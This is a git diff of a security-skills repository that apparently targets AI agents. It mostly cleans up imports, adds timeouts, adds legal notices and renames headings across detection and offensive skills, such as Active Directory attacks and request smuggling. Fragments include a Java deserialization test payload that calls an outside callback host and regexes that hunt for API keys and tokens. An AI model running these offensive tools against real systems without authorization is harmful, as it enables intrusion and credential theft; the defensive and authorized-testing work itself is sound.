"size_before": info["size"], + "size_after": after[path]["size"], + }) + + for path in after: + if path not in before: + changes["created"].append(path) + + changes["total_changes"] = ( + len(changes["modified"]) + len(changes["deleted"]) + len(changes["created"]) + ) + + if changes["total_changes"] > 0: + mod_ratio = len(changes["modified"]) / max(len(before), 1) + changes["bulk_modification_ratio"] = round(mod_ratio, 4) + changes["ransomware_likely"] = mod_ratio > 0.3 and len(changes["modified"]) > 10 + else: + changes["bulk_modification_ratio"] = 0 + changes["ransomware_likely"] = False + + return changes + + +if __name__ == "__main__": + print("=" * 60) + print("Ransomware Encryption Behavior Detection Agent") + print("Entropy analysis, I/O monitoring, behavioral heuristics") + print("=" * 60) + + if len(sys.argv) < 2: + print("\nUsage:") + print(" python agent.py scan Scan for ransomware indicators") + print(" python agent.py entropy Entropy scan of files") + print(" python agent.py entropy-file Analyze single file entropy") + print(" python agent.py snapshot Take baseline snapshot") + print(" python agent.py compare Compare two snapshots") + sys.exit(0) + + command = sys.argv[1] + + if command == "scan": + target = sys.argv[2] if len(sys.argv) > 2 else os.getcwd() + print(f"\n[*] Scanning {target} for ransomware indicators...") + results = detect_ransomware_indicators(target) + print(f"\n--- Ransomware Detection Results ---") + print(f" Score: {results['score']}/100") + print(f" Verdict: {results['verdict']}") + print(f" Ransomware extensions found: {len(results['ransomware_extensions'])}") + print(f" Ransom notes found: {len(results['ransom_notes'])}") + print(f" High-entropy files: {len(results['high_entropy_files'])}") + print(f" Renamed files: {len(results['renamed_files'])}") + print(f"\n{json.dumps(results, indent=2, default=str)}") + + elif command == "entropy": + target = sys.argv[2] if len(sys.argv) > 2 else os.getcwd() + print(f"\n[*] Entropy scanning {target}...") + results = scan_directory_entropy(target, HIGH_VALUE_EXTENSIONS) + print(f"\n--- Entropy Scan Results ---") + print(f" Total files scanned: {results['total_files']}") + print(f" Files with encrypted entropy: {results['encrypted_files']}") + print(f" Encryption ratio: {results['encryption_ratio']}") + for f in results["files"][:10]: + print(f" [!] {f['filename']}: entropy={f['overall']}") + + elif command == "entropy-file": + if len(sys.argv) < 3: + print("[!] Provide a file path") + sys.exit(1) + filepath = sys.argv[2] + analysis = analyze_file_entropy(filepath) + print(f"\n--- File Entropy Analysis ---") + print(f" File: {filepath}") + print(f" Overall entropy: {analysis['overall']}") + print(f" First chunk: {analysis['first_chunk']}") + print(f" Mid chunk: {analysis['mid_chunk']}") + print(f" Last chunk: {analysis['last_chunk']}") + print(f" Encrypted: {analysis['is_encrypted']}") + print(f" Partial encryption: {analysis['is_partial_encryption']}") + + elif command == "snapshot": + target = sys.argv[2] if len(sys.argv) > 2 else os.getcwd() + print(f"\n[*] Taking snapshot of {target}...") + snap = snapshot_directory_state(target) + output = f"snapshot_{int(time.time())}.json" + with open(output, "w") as f: + json.dump(snap, f, indent=2) + print(f"[+] Snapshot saved: {output} ({len(snap)} files)") + + elif command == "compare": + if len(sys.argv) < 4: + print("[!] Provide two snapshot JSON files") + sys.exit(1) + with open(sys.argv[2]) as f: + snap1 = json.load(f) + with open(sys.argv[3]) as f: + snap2 = json.load(f) + changes = compare_snapshots(snap1, snap2) + print(f"\n--- Snapshot Comparison ---") + print(f" Modified: {len(changes['modified'])}") + print(f" Deleted: {len(changes['deleted'])}") + print(f" Created: {len(changes['created'])}") + print(f" Ransomware likely: {changes['ransomware_likely']}") + print(f"\n{json.dumps(changes, indent=2, default=str)}") + + else: + print(f"[!] Unknown command: {command}") diff --git a/skills/detecting-ransomware-precursors-in-network/scripts/agent.py b/skills/detecting-ransomware-precursors-in-network/scripts/agent.py index b6488d4b..d68b53ef 100644 --- a/skills/detecting-ransomware-precursors-in-network/scripts/agent.py +++ b/skills/detecting-ransomware-precursors-in-network/scripts/agent.py @@ -4,7 +4,6 @@ import argparse import json import os -import re import subprocess import sys from datetime import datetime, timezone @@ -91,7 +90,8 @@ def scan_process_list(): if sys.platform == "win32": try: out = subprocess.check_output( - ["tasklist", "/FO", "CSV", "/NH"], text=True, errors="replace" + ["tasklist", "/FO", "CSV", "/NH"], text=True, errors="replace", + timeout=120, ) for line in out.splitlines(): parts = line.strip('"').split('","') @@ -104,7 +104,7 @@ def scan_process_list(): pass else: try: - out = subprocess.check_output(["ps", "-eo", "pid,comm", "--no-headers"], text=True) + out = subprocess.check_output(["ps", "-eo", "pid,comm", "--no-headers"], text=True, timeout=120) for line in out.splitlines(): parts = line.split(None, 1) if len(parts) == 2: diff --git a/skills/detecting-service-account-abuse/scripts/agent.py b/skills/detecting-service-account-abuse/scripts/agent.py index a7672f79..b1018d4b 100644 --- a/skills/detecting-service-account-abuse/scripts/agent.py +++ b/skills/detecting-service-account-abuse/scripts/agent.py @@ -4,8 +4,6 @@ import argparse import json import subprocess -import sys -from collections import Counter from datetime import datetime, timezone diff --git a/skills/detecting-shadow-api-endpoints/scripts/agent.py b/skills/detecting-shadow-api-endpoints/scripts/agent.py index d2f77e3b..0cebeeb9 100644 --- a/skills/detecting-shadow-api-endpoints/scripts/agent.py +++ b/skills/detecting-shadow-api-endpoints/scripts/agent.py @@ -3,9 +3,7 @@ import argparse import json -import os import re -import sys from collections import defaultdict from datetime import datetime, timezone from urllib.parse import urlparse diff --git a/skills/detecting-spearphishing-with-email-gateway/SKILL.md b/skills/detecting-spearphishing-with-email-gateway/SKILL.md index 2b7a3ce9..00118354 100644 --- a/skills/detecting-spearphishing-with-email-gateway/SKILL.md +++ b/skills/detecting-spearphishing-with-email-gateway/SKILL.md @@ -37,7 +37,7 @@ Spearphishing targets specific individuals using personalized, researched conten 6. **Attachment sandboxing**: Behavioral analysis of attachments in isolated environments 7. **Behavioral analytics**: Anomaly detection in communication patterns -## Implementation Steps +## Workflow ### Step 1: Configure Impersonation Protection ``` diff --git a/skills/detecting-spearphishing-with-email-gateway/scripts/agent.py b/skills/detecting-spearphishing-with-email-gateway/scripts/agent.py index 68aa0e69..8674c647 100644 --- a/skills/detecting-spearphishing-with-email-gateway/scripts/agent.py +++ b/skills/detecting-spearphishing-with-email-gateway/scripts/agent.py @@ -6,8 +6,6 @@ import email import json import os import re -import sys -from collections import defaultdict from datetime import datetime, timezone from email import policy diff --git a/skills/detecting-sql-injection-via-waf-logs/SKILL.md b/skills/detecting-sql-injection-via-waf-logs/SKILL.md index 3d9e9ea2..d30f9372 100644 --- a/skills/detecting-sql-injection-via-waf-logs/SKILL.md +++ b/skills/detecting-sql-injection-via-waf-logs/SKILL.md @@ -14,6 +14,9 @@ author: mahipal license: Apache-2.0 --- + +# Detecting SQL Injection via WAF Logs + ## Instructions 1. Install dependencies: `pip install requests` diff --git a/skills/detecting-sql-injection-via-waf-logs/scripts/agent.py b/skills/detecting-sql-injection-via-waf-logs/scripts/agent.py index a19a03e5..b71945f4 100644 --- a/skills/detecting-sql-injection-via-waf-logs/scripts/agent.py +++ b/skills/detecting-sql-injection-via-waf-logs/scripts/agent.py @@ -3,7 +3,6 @@ import json import re -import os import logging import argparse from datetime import datetime diff --git a/skills/detecting-stuxnet-style-attacks/scripts/agent.py b/skills/detecting-stuxnet-style-attacks/scripts/agent.py index f476db67..818655d0 100644 --- a/skills/detecting-stuxnet-style-attacks/scripts/agent.py +++ b/skills/detecting-stuxnet-style-attacks/scripts/agent.py @@ -4,8 +4,6 @@ import argparse import json import os -import re -import struct import subprocess import sys from datetime import datetime, timezone diff --git a/skills/detecting-supply-chain-attacks-in-ci-cd/scripts/agent.py b/skills/detecting-supply-chain-attacks-in-ci-cd/scripts/agent.py index b5edfbf9..394062e2 100644 --- a/skills/detecting-supply-chain-attacks-in-ci-cd/scripts/agent.py +++ b/skills/detecting-supply-chain-attacks-in-ci-cd/scripts/agent.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 """Agent for detecting supply chain attacks in CI/CD pipelines.""" -import os import re import json import argparse diff --git a/skills/detecting-suspicious-powershell-execution/scripts/agent.py b/skills/detecting-suspicious-powershell-execution/scripts/agent.py index bb8d325b..58b4b13a 100644 --- a/skills/detecting-suspicious-powershell-execution/scripts/agent.py +++ b/skills/detecting-suspicious-powershell-execution/scripts/agent.py @@ -7,7 +7,6 @@ import os import re import subprocess import sys -from collections import Counter from datetime import datetime, timezone diff --git a/skills/detecting-t1003-credential-dumping-with-edr/scripts/agent.py b/skills/detecting-t1003-credential-dumping-with-edr/scripts/agent.py index feb375e4..7b6c7d40 100644 --- a/skills/detecting-t1003-credential-dumping-with-edr/scripts/agent.py +++ b/skills/detecting-t1003-credential-dumping-with-edr/scripts/agent.py @@ -3,7 +3,6 @@ import argparse import json -import os import re import subprocess import sys diff --git a/skills/detecting-t1055-process-injection-with-sysmon/scripts/agent.py b/skills/detecting-t1055-process-injection-with-sysmon/scripts/agent.py index f0ba2aea..c2dc4438 100644 --- a/skills/detecting-t1055-process-injection-with-sysmon/scripts/agent.py +++ b/skills/detecting-t1055-process-injection-with-sysmon/scripts/agent.py @@ -3,7 +3,6 @@ import argparse import json -import re import subprocess import sys from datetime import datetime, timezone diff --git a/skills/detecting-wmi-persistence/scripts/agent.py b/skills/detecting-wmi-persistence/scripts/agent.py index 550d379a..2304fc32 100644 --- a/skills/detecting-wmi-persistence/scripts/agent.py +++ b/skills/detecting-wmi-persistence/scripts/agent.py @@ -7,7 +7,6 @@ import logging import subprocess import re import xml.etree.ElementTree as ET -from collections import defaultdict from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") @@ -39,7 +38,7 @@ def query_sysmon_wmi_events(evtx_path=None, hours_back=72): if evtx_path: cmd = ["wevtutil", "qe", evtx_path, "/lf:true", "/q:*[System[EventID={}]]".format(event_id), "/f:xml", "/c:500"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) for event_xml in re.findall(r"", result.stdout, re.DOTALL): try: root = ET.fromstring(event_xml) @@ -76,7 +75,7 @@ def enumerate_wmi_subscriptions(): } for category, ps_cmd in ps_commands.items(): cmd = ["powershell", "-Command", ps_cmd] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.stdout.strip(): try: data = json.loads(result.stdout) diff --git a/skills/eradicating-malware-from-infected-systems/scripts/agent.py b/skills/eradicating-malware-from-infected-systems/scripts/agent.py index 5a5b7e1f..745ccd46 100644 --- a/skills/eradicating-malware-from-infected-systems/scripts/agent.py +++ b/skills/eradicating-malware-from-infected-systems/scripts/agent.py @@ -4,7 +4,6 @@ import argparse import json import os -import re import subprocess import sys from datetime import datetime, timezone @@ -153,7 +152,7 @@ def main(): parser.add_argument("--scan-persistence", action="store_true") parser.add_argument("--kill-pid", type=int, nargs="*", help="PIDs to terminate") parser.add_argument("--quarantine-file", nargs="*", help="Files to quarantine") - parser.add_argument("--quarantine-dir", default="/tmp/quarantine") + parser.add_argument("--quarantine-dir", default=os.environ.get("QUARANTINE_DIR", "/tmp/quarantine")) parser.add_argument("--output", "-o", help="Output JSON report") args = parser.parse_args() diff --git a/skills/evaluating-threat-intelligence-platforms/scripts/agent.py b/skills/evaluating-threat-intelligence-platforms/scripts/agent.py index 338ad760..ddc94cff 100644 --- a/skills/evaluating-threat-intelligence-platforms/scripts/agent.py +++ b/skills/evaluating-threat-intelligence-platforms/scripts/agent.py @@ -4,7 +4,6 @@ import json import sys import urllib.request -import urllib.parse import ssl from datetime import datetime diff --git a/skills/executing-active-directory-attack-simulation/scripts/agent.py b/skills/executing-active-directory-attack-simulation/scripts/agent.py index 2de4e24a..35beada3 100644 --- a/skills/executing-active-directory-attack-simulation/scripts/agent.py +++ b/skills/executing-active-directory-attack-simulation/scripts/agent.py @@ -9,14 +9,7 @@ import logging from datetime import datetime try: - from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS - from impacket.krb5 import constants as krb5_constants - from impacket.krb5.types import Principal, KerberosTime from impacket.smbconnection import SMBConnection - from impacket import version as impacket_version - from impacket.dcerpc.v5 import samr, transport - from impacket.examples.GetUserSPNs import GetUserSPNs - from impacket.examples.GetNPUsers import GetNPUsers except ImportError: sys.exit("impacket is required: pip install impacket") diff --git a/skills/implementing-rbac-for-kubernetes-cluster/LICENSE b/skills/executing-diamond-model-analysis.bak/LICENSE similarity index 100% rename from skills/implementing-rbac-for-kubernetes-cluster/LICENSE rename to skills/executing-diamond-model-analysis.bak/LICENSE diff --git a/skills/executing-diamond-model-analysis/SKILL.md b/skills/executing-diamond-model-analysis.bak/SKILL.md similarity index 100% rename from skills/executing-diamond-model-analysis/SKILL.md rename to skills/executing-diamond-model-analysis.bak/SKILL.md diff --git a/skills/executing-diamond-model-analysis/references/api-reference.md b/skills/executing-diamond-model-analysis.bak/references/api-reference.md similarity index 100% rename from skills/executing-diamond-model-analysis/references/api-reference.md rename to skills/executing-diamond-model-analysis.bak/references/api-reference.md diff --git a/skills/executing-diamond-model-analysis/scripts/agent.py b/skills/executing-diamond-model-analysis.bak/scripts/agent.py similarity index 95% rename from skills/executing-diamond-model-analysis/scripts/agent.py rename to skills/executing-diamond-model-analysis.bak/scripts/agent.py index 2c9a6f9e..4d5198de 100644 --- a/skills/executing-diamond-model-analysis/scripts/agent.py +++ b/skills/executing-diamond-model-analysis.bak/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Diamond Model intrusion analysis agent for structuring adversary activity.""" import argparse @@ -6,8 +9,8 @@ import json import hashlib import logging from datetime import datetime -from dataclasses import dataclass, field, asdict -from typing import List, Optional +from dataclasses import dataclass, field +from typing import List logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) diff --git a/skills/executing-phishing-simulation-campaign/scripts/agent.py b/skills/executing-phishing-simulation-campaign/scripts/agent.py index 56b1d912..bf50597f 100644 --- a/skills/executing-phishing-simulation-campaign/scripts/agent.py +++ b/skills/executing-phishing-simulation-campaign/scripts/agent.py @@ -7,7 +7,6 @@ import json import logging import sys from datetime import datetime -from typing import Optional try: import requests @@ -28,12 +27,12 @@ class GoPhishClient: self.session.verify = verify_ssl def _get(self, endpoint: str) -> dict: - resp = self.session.get(f"{self.base_url}/api/{endpoint}") + resp = self.session.get(f"{self.base_url}/api/{endpoint}", timeout=30) resp.raise_for_status() return resp.json() def _post(self, endpoint: str, data: dict) -> dict: - resp = self.session.post(f"{self.base_url}/api/{endpoint}", json=data) + resp = self.session.post(f"{self.base_url}/api/{endpoint}", json=data, timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/executing-red-team-engagement-planning/SKILL.md b/skills/executing-red-team-engagement-planning/SKILL.md index 0b3088dd..a6215ddf 100644 --- a/skills/executing-red-team-engagement-planning/SKILL.md +++ b/skills/executing-red-team-engagement-planning/SKILL.md @@ -23,6 +23,8 @@ Red team engagement planning is the foundational phase that defines scope, objec - Develop deconfliction procedures with the organization's SOC/blue team - Produce a comprehensive engagement brief for stakeholder approval +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Core Concepts ### Engagement Types @@ -54,7 +56,7 @@ Map organizational threats using MITRE ATT&CK Navigator to select relevant adver - **Lazarus Group**: Financial institutions, cryptocurrency exchanges, destructive malware - **Conti/Royal**: Ransomware operators, double extortion, RaaS model -## Implementation Steps +## Workflow ### Phase 1: Pre-Engagement diff --git a/skills/executing-red-team-engagement-planning/scripts/agent.py b/skills/executing-red-team-engagement-planning/scripts/agent.py index 246278a4..c8522988 100644 --- a/skills/executing-red-team-engagement-planning/scripts/agent.py +++ b/skills/executing-red-team-engagement-planning/scripts/agent.py @@ -1,9 +1,11 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for planning and documenting red team engagements with scope, rules, and attack paths.""" import argparse import json -import os from datetime import datetime, timezone diff --git a/skills/executing-red-team-exercise/SKILL.md b/skills/executing-red-team-exercise/SKILL.md index 5e6a7c74..39d8693f 100644 --- a/skills/executing-red-team-exercise/SKILL.md +++ b/skills/executing-red-team-exercise/SKILL.md @@ -36,6 +36,9 @@ license: Apache-2.0 - Trusted agent (white cell) within the target organization who manages the exercise boundaries without alerting defenders - MITRE ATT&CK matrix for mapping planned and executed techniques + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Adversary Emulation Planning diff --git a/skills/executing-red-team-exercise/scripts/agent.py b/skills/executing-red-team-exercise/scripts/agent.py index 507cb96c..37b16add 100644 --- a/skills/executing-red-team-exercise/scripts/agent.py +++ b/skills/executing-red-team-exercise/scripts/agent.py @@ -7,7 +7,7 @@ import json import logging from datetime import datetime from dataclasses import dataclass, field, asdict -from typing import List, Optional +from typing import List try: import requests diff --git a/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md b/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md index 7c1f9996..5836988c 100644 --- a/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md +++ b/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md @@ -31,7 +31,7 @@ ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory - **T1484** - Domain Policy Modification - **T1087.002** - Account Discovery: Domain Account -## Implementation Steps +## Workflow ### Phase 1: AD CS Enumeration 1. Enumerate Certificate Authority (CA) servers in the domain: diff --git a/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py b/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py index 8f346b5f..2b05fe69 100644 --- a/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py +++ b/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py @@ -4,7 +4,6 @@ import argparse import json import subprocess -import sys from datetime import datetime, timezone diff --git a/skills/exploiting-active-directory-with-bloodhound/SKILL.md b/skills/exploiting-active-directory-with-bloodhound/SKILL.md index 63e57b62..74dac35b 100644 --- a/skills/exploiting-active-directory-with-bloodhound/SKILL.md +++ b/skills/exploiting-active-directory-with-bloodhound/SKILL.md @@ -10,6 +10,9 @@ license: Apache-2.0 --- # Exploiting Active Directory with BloodHound + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Overview BloodHound is a graph-based Active Directory reconnaissance tool that uses graph theory to reveal hidden and unintended relationships within AD environments. Red teams use BloodHound to identify attack paths from compromised accounts to high-value targets such as Domain Admins, identifying privilege escalation chains that would be nearly impossible to find manually. SharpHound is the official data collector that gathers AD objects, relationships, ACLs, sessions, and group memberships. @@ -33,7 +36,7 @@ BloodHound is a graph-based Active Directory reconnaissance tool that uses graph - **T1033** - System Owner/User Discovery - **T1016** - System Network Configuration Discovery -## Implementation Steps +## Workflow ### Phase 1: Data Collection with SharpHound 1. Transfer SharpHound collector to compromised host diff --git a/skills/exploiting-active-directory-with-bloodhound/scripts/agent.py b/skills/exploiting-active-directory-with-bloodhound/scripts/agent.py index 24b9a620..fdfef9ab 100644 --- a/skills/exploiting-active-directory-with-bloodhound/scripts/agent.py +++ b/skills/exploiting-active-directory-with-bloodhound/scripts/agent.py @@ -5,7 +5,6 @@ import argparse import json import os import subprocess -import sys from datetime import datetime, timezone diff --git a/skills/exploiting-api-injection-vulnerabilities/SKILL.md b/skills/exploiting-api-injection-vulnerabilities/SKILL.md index 99941b1b..41ae587e 100644 --- a/skills/exploiting-api-injection-vulnerabilities/SKILL.md +++ b/skills/exploiting-api-injection-vulnerabilities/SKILL.md @@ -36,6 +36,9 @@ license: Apache-2.0 - Knowledge of the backend database technology (MySQL, PostgreSQL, MongoDB, Redis) - Isolated test environment to avoid production data corruption + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Injection Point Identification diff --git a/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py b/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py index 8ccebd61..3fb0b7bf 100644 --- a/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +++ b/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py @@ -3,8 +3,6 @@ import argparse import json -import re -import sys import urllib.parse from datetime import datetime, timezone diff --git a/skills/exploiting-bgp-hijacking-vulnerabilities/scripts/agent.py b/skills/exploiting-bgp-hijacking-vulnerabilities/scripts/agent.py index cebd3234..4b61db91 100644 --- a/skills/exploiting-bgp-hijacking-vulnerabilities/scripts/agent.py +++ b/skills/exploiting-bgp-hijacking-vulnerabilities/scripts/agent.py @@ -7,7 +7,7 @@ import json import logging import sys from datetime import datetime -from typing import List, Optional +from typing import List try: import requests diff --git a/skills/exploiting-broken-function-level-authorization/scripts/agent.py b/skills/exploiting-broken-function-level-authorization/scripts/agent.py index 7542094c..035f808a 100644 --- a/skills/exploiting-broken-function-level-authorization/scripts/agent.py +++ b/skills/exploiting-broken-function-level-authorization/scripts/agent.py @@ -3,7 +3,6 @@ import argparse import json -import sys from datetime import datetime, timezone try: diff --git a/skills/exploiting-broken-link-hijacking/SKILL.md b/skills/exploiting-broken-link-hijacking/SKILL.md index 73ed4def..d58b987c 100644 --- a/skills/exploiting-broken-link-hijacking/SKILL.md +++ b/skills/exploiting-broken-link-hijacking/SKILL.md @@ -26,6 +26,9 @@ license: Apache-2.0 - blc (broken-link-checker) or similar tool for automated link validation - Knowledge of services vulnerable to subdomain takeover (can-i-take-over-xyz) + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1 — Crawl and Extract All External References diff --git a/skills/exploiting-broken-link-hijacking/scripts/agent.py b/skills/exploiting-broken-link-hijacking/scripts/agent.py index 5151da16..ebe995b6 100644 --- a/skills/exploiting-broken-link-hijacking/scripts/agent.py +++ b/skills/exploiting-broken-link-hijacking/scripts/agent.py @@ -1,10 +1,12 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for detecting broken link hijacking vulnerabilities on websites.""" import argparse import json import re -import sys from datetime import datetime, timezone from urllib.parse import urlparse, urljoin diff --git a/skills/exploiting-constrained-delegation-abuse/SKILL.md b/skills/exploiting-constrained-delegation-abuse/SKILL.md index 44362a9b..2b5c1a5a 100644 --- a/skills/exploiting-constrained-delegation-abuse/SKILL.md +++ b/skills/exploiting-constrained-delegation-abuse/SKILL.md @@ -10,6 +10,9 @@ license: Apache-2.0 --- # Exploiting Constrained Delegation Abuse + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Overview Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target. @@ -31,7 +34,7 @@ Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that - **T1078.002** - Valid Accounts: Domain Accounts - **T1021** - Remote Services -## Implementation Steps +## Workflow ### Phase 1: Enumerate Constrained Delegation 1. Find accounts with Constrained Delegation using PowerView: diff --git a/skills/exploiting-deeplink-vulnerabilities/scripts/agent.py b/skills/exploiting-deeplink-vulnerabilities/scripts/agent.py index d0a902f1..4d95712e 100644 --- a/skills/exploiting-deeplink-vulnerabilities/scripts/agent.py +++ b/skills/exploiting-deeplink-vulnerabilities/scripts/agent.py @@ -3,10 +3,8 @@ import argparse import json -import os import re import subprocess -import sys from datetime import datetime, timezone diff --git a/skills/exploiting-excessive-data-exposure-in-api/SKILL.md b/skills/exploiting-excessive-data-exposure-in-api/SKILL.md index 26aa60b0..8fcae545 100644 --- a/skills/exploiting-excessive-data-exposure-in-api/SKILL.md +++ b/skills/exploiting-excessive-data-exposure-in-api/SKILL.md @@ -35,6 +35,9 @@ license: Apache-2.0 - Python 3.10+ with `requests` and `json` libraries - API documentation (OpenAPI spec) for comparison against actual responses + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Response Schema Discovery diff --git a/skills/exploiting-excessive-data-exposure-in-api/scripts/agent.py b/skills/exploiting-excessive-data-exposure-in-api/scripts/agent.py index 7b7c366a..dbff7510 100644 --- a/skills/exploiting-excessive-data-exposure-in-api/scripts/agent.py +++ b/skills/exploiting-excessive-data-exposure-in-api/scripts/agent.py @@ -1,10 +1,12 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for detecting excessive data exposure (OWASP API3) in API responses.""" import argparse import json import re -import sys from datetime import datetime, timezone try: diff --git a/skills/exploiting-http-request-smuggling/scripts/agent.py b/skills/exploiting-http-request-smuggling/scripts/agent.py index 24492856..6dad6608 100644 --- a/skills/exploiting-http-request-smuggling/scripts/agent.py +++ b/skills/exploiting-http-request-smuggling/scripts/agent.py @@ -10,7 +10,6 @@ import ssl import sys import time from urllib.parse import urlparse -from typing import Optional try: import requests diff --git a/skills/exploiting-idor-vulnerabilities/scripts/agent.py b/skills/exploiting-idor-vulnerabilities/scripts/agent.py index ae09ad37..f3324586 100644 --- a/skills/exploiting-idor-vulnerabilities/scripts/agent.py +++ b/skills/exploiting-idor-vulnerabilities/scripts/agent.py @@ -7,7 +7,6 @@ import json import logging import sys import hashlib -from typing import List, Optional try: import requests diff --git a/skills/exploiting-insecure-data-storage-in-mobile/SKILL.md b/skills/exploiting-insecure-data-storage-in-mobile/SKILL.md index 585fd13d..b142b651 100644 --- a/skills/exploiting-insecure-data-storage-in-mobile/SKILL.md +++ b/skills/exploiting-insecure-data-storage-in-mobile/SKILL.md @@ -35,6 +35,9 @@ Use this skill when: - Frida/Objection for runtime data extraction - Target application installed and exercised (logged in, data cached) + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Map Application Data Storage Locations diff --git a/skills/exploiting-insecure-data-storage-in-mobile/scripts/agent.py b/skills/exploiting-insecure-data-storage-in-mobile/scripts/agent.py index 9a45bb83..fbe38f2f 100644 --- a/skills/exploiting-insecure-data-storage-in-mobile/scripts/agent.py +++ b/skills/exploiting-insecure-data-storage-in-mobile/scripts/agent.py @@ -6,7 +6,6 @@ import json import os import re import subprocess -import sys import sqlite3 from datetime import datetime, timezone @@ -19,6 +18,8 @@ ANDROID_SENSITIVE_PATHS = [ "/sdcard/Android/data/{package}/", ] +_SAFE_TABLE_RE = re.compile(r'^[a-zA-Z_][a-zA-Z0-9_]*$') + SENSITIVE_PATTERNS = { "api_key": re.compile(r'["\']?api[_-]?key["\']?\s*[:=]\s*["\']([^"\']+)', re.I), "token": re.compile(r'["\']?(?:access|auth|bearer)[_-]?token["\']?\s*[:=]\s*["\']([^"\']+)', re.I), @@ -70,7 +71,9 @@ def scan_sqlite_databases(db_dir): cursor.execute("SELECT name FROM sqlite_master WHERE type='table'") tables = cursor.fetchall() for (table_name,) in tables: - cursor.execute(f"PRAGMA table_info({table_name})") + if not _SAFE_TABLE_RE.match(table_name): + continue + cursor.execute(f"PRAGMA table_info([{table_name}])") columns = cursor.fetchall() sensitive_cols = [] for col in columns: @@ -79,7 +82,7 @@ def scan_sqlite_databases(db_dir): if sf in col_name: sensitive_cols.append(col[1]) if sensitive_cols: - cursor.execute(f"SELECT COUNT(*) FROM {table_name}") + cursor.execute(f"SELECT COUNT(*) FROM [{table_name}]") row_count = cursor.fetchone()[0] findings.append({ "file": fpath, @@ -141,7 +144,7 @@ def main(): ) parser.add_argument("--scan-dir", help="Directory containing app data to scan") parser.add_argument("--package", help="Android package name for ADB pull") - parser.add_argument("--pull-dir", default="/tmp/mobile_audit") + parser.add_argument("--pull-dir", default=os.environ.get("MOBILE_AUDIT_DIR", "/tmp/mobile_audit")) parser.add_argument("--output", "-o", help="Output JSON report") args = parser.parse_args() diff --git a/skills/exploiting-insecure-deserialization/scripts/agent.py b/skills/exploiting-insecure-deserialization/scripts/agent.py index d34e668b..4db62334 100644 --- a/skills/exploiting-insecure-deserialization/scripts/agent.py +++ b/skills/exploiting-insecure-deserialization/scripts/agent.py @@ -89,7 +89,6 @@ def scan_response_body(url: str, method: str = "GET", def test_java_deserialization(url: str, cookie_name: str, callback_host: str) -> dict: """Test for Java deserialization using a URLDNS-style detection payload.""" - import struct dns_url = f"http://{callback_host}/java-deser-test" urldns_marker = base64.b64encode( JAVA_MAGIC + b"\x00\x00\x00" + dns_url.encode() diff --git a/skills/exploiting-ipv6-vulnerabilities/scripts/agent.py b/skills/exploiting-ipv6-vulnerabilities/scripts/agent.py index a1a8679c..f499f708 100644 --- a/skills/exploiting-ipv6-vulnerabilities/scripts/agent.py +++ b/skills/exploiting-ipv6-vulnerabilities/scripts/agent.py @@ -6,14 +6,12 @@ import argparse import json import logging import sys -import socket -import struct from datetime import datetime from typing import List try: from scapy.all import ( 